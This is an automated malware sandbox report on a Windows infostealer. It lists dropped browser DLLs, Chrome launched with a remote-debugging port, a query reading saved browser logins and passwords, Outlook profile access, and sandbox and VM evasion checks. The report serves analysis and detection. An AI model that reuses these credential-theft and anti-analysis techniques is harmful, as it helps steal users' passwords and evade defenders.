Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC0B0	0_2_6C6BC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F00B0	0_2_6C5F00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648140	0_2_6C648140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656130	0_2_6C656130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4130	0_2_6C6C4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E01E0	0_2_6C5E01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668260	0_2_6C668260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678250	0_2_6C678250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8220	0_2_6C6B8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA210	0_2_6C6AA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7662C0	0_2_6C7662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B22A0	0_2_6C6B22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE2B0	0_2_6C6AE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722370	0_2_6C722370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC360	0_2_6C6FC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676370	0_2_6C676370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8340	0_2_6C5E8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2370	0_2_6C5E2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652320	0_2_6C652320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6343E0	0_2_6C6343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6123A0	0_2_6C6123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E3B0	0_2_6C63E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3C40	0_2_6C5E3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C709C40	0_2_6C709C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1C30	0_2_6C5F1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1CE0	0_2_6C6A1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71DCD0	0_2_6C71DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67FC80	0_2_6C67FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C643D00	0_2_6C643D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1DC0	0_2_6C6B1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3D80	0_2_6C5D3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729D90	0_2_6C729D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BE70	0_2_6C73BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C765E60	0_2_6C765E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDE10	0_2_6C6EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603EC0	0_2_6C603EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615F20	0_2_6C615F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C737F20	0_2_6C737F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5F30	0_2_6C5D5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BFF0	0_2_6C68BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FDFC0	0_2_6C6FDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C763FC0	0_2_6C763FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601F90	0_2_6C601F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D810	0_2_6C63D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6138E0	0_2_6C6138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B8F0	0_2_6C73B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BF8F0	0_2_6C6BF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67F8C0	0_2_6C67F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED8E0	0_2_6C5ED8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F960	0_2_6C65F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D960	0_2_6C69D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695920	0_2_6C695920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F900	0_2_6C72F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6459F0	0_2_6C6459F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6779F0	0_2_6C6779F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6799C0	0_2_6C6799C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6199D0	0_2_6C6199D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1980	0_2_6C5F1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1990	0_2_6C6B1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C769A50	0_2_6C769A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DDA30	0_2_6C6DDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61FA10	0_2_6C61FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681A10	0_2_6C681A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1AE0	0_2_6C5E1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDAB0	0_2_6C6BDAB0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7609D0 appears 288 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C603620 appears 85 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76D930 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C719F30 appears 50 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C609B10 appears 89 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C63C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76DAE0 appears 65 times

Source: file.exe, 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2070453190.000000006F902000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: qxdrkcos ZLIB complexity 0.9950474745315289

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/6

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C640300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C640300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\F3GS8XS0.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2050496784.000000000074E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;.
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1896503456.000000001D3D4000.00000004.00000020.00020000.00000000.sdmp, JKJKKKJJJKJKFHJJJJEC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2069663938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063993501.000000001D4D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2336,i,3958362710798390015,37809118720636991,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2336,i,3958362710798390015,37809118720636991,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2159616 > 1048576

Source: file.exe

Static PE information: Raw size of qxdrkcos is bigger than: 0x100000 < 0x1a4400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2070412011.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2070272635.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1677872732.0000000004DBB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2070272635.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1677872732.0000000004DBB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2070412011.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;qxdrkcos:EW;wzocpzen:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;qxdrkcos:EW;wzocpzen:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x212a23 should be: 0x216c44

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: qxdrkcos
Source: file.exe	Static PE information: section name: wzocpzen
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: qxdrkcos entropy: 7.954956348500757

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E391 second address: F6DC02 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or dword ptr [ebp+122D1B2Bh], esi 0x00000014 push dword ptr [ebp+122D0BF1h] 0x0000001a clc 0x0000001b call dword ptr [ebp+122D31DDh] 0x00000021 pushad 0x00000022 jng 00007F2BD92E34DCh 0x00000028 jmp 00007F2BD92E34D6h 0x0000002d xor eax, eax 0x0000002f jnc 00007F2BD92E34CCh 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 mov dword ptr [ebp+122D185Ah], ecx 0x0000003f stc 0x00000040 mov dword ptr [ebp+122D3903h], eax 0x00000046 jl 00007F2BD92E34DFh 0x0000004c jmp 00007F2BD92E34D9h 0x00000051 mov esi, 0000003Ch 0x00000056 mov dword ptr [ebp+122D293Ch], ebx 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 jmp 00007F2BD92E34CEh 0x00000065 jnl 00007F2BD92E34CCh 0x0000006b lodsw 0x0000006d pushad 0x0000006e push eax 0x0000006f and bh, 00000041h 0x00000072 pop ebx 0x00000073 mov si, 2AFAh 0x00000077 popad 0x00000078 add eax, dword ptr [esp+24h] 0x0000007c pushad 0x0000007d jp 00007F2BD92E34CCh 0x00000083 mov dword ptr [ebp+122D3091h], ecx 0x00000089 mov dword ptr [ebp+122D3091h], eax 0x0000008f popad 0x00000090 mov ebx, dword ptr [esp+24h] 0x00000094 mov dword ptr [ebp+122D294Dh], edx 0x0000009a push eax 0x0000009b push eax 0x0000009c push edx 0x0000009d push edx 0x0000009e jmp 00007F2BD92E34D2h 0x000000a3 pop edx 0x000000a4 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E50AA second address: 10E50AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E526C second address: 10E527A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD92E34CAh 0x00000009 rdtsc
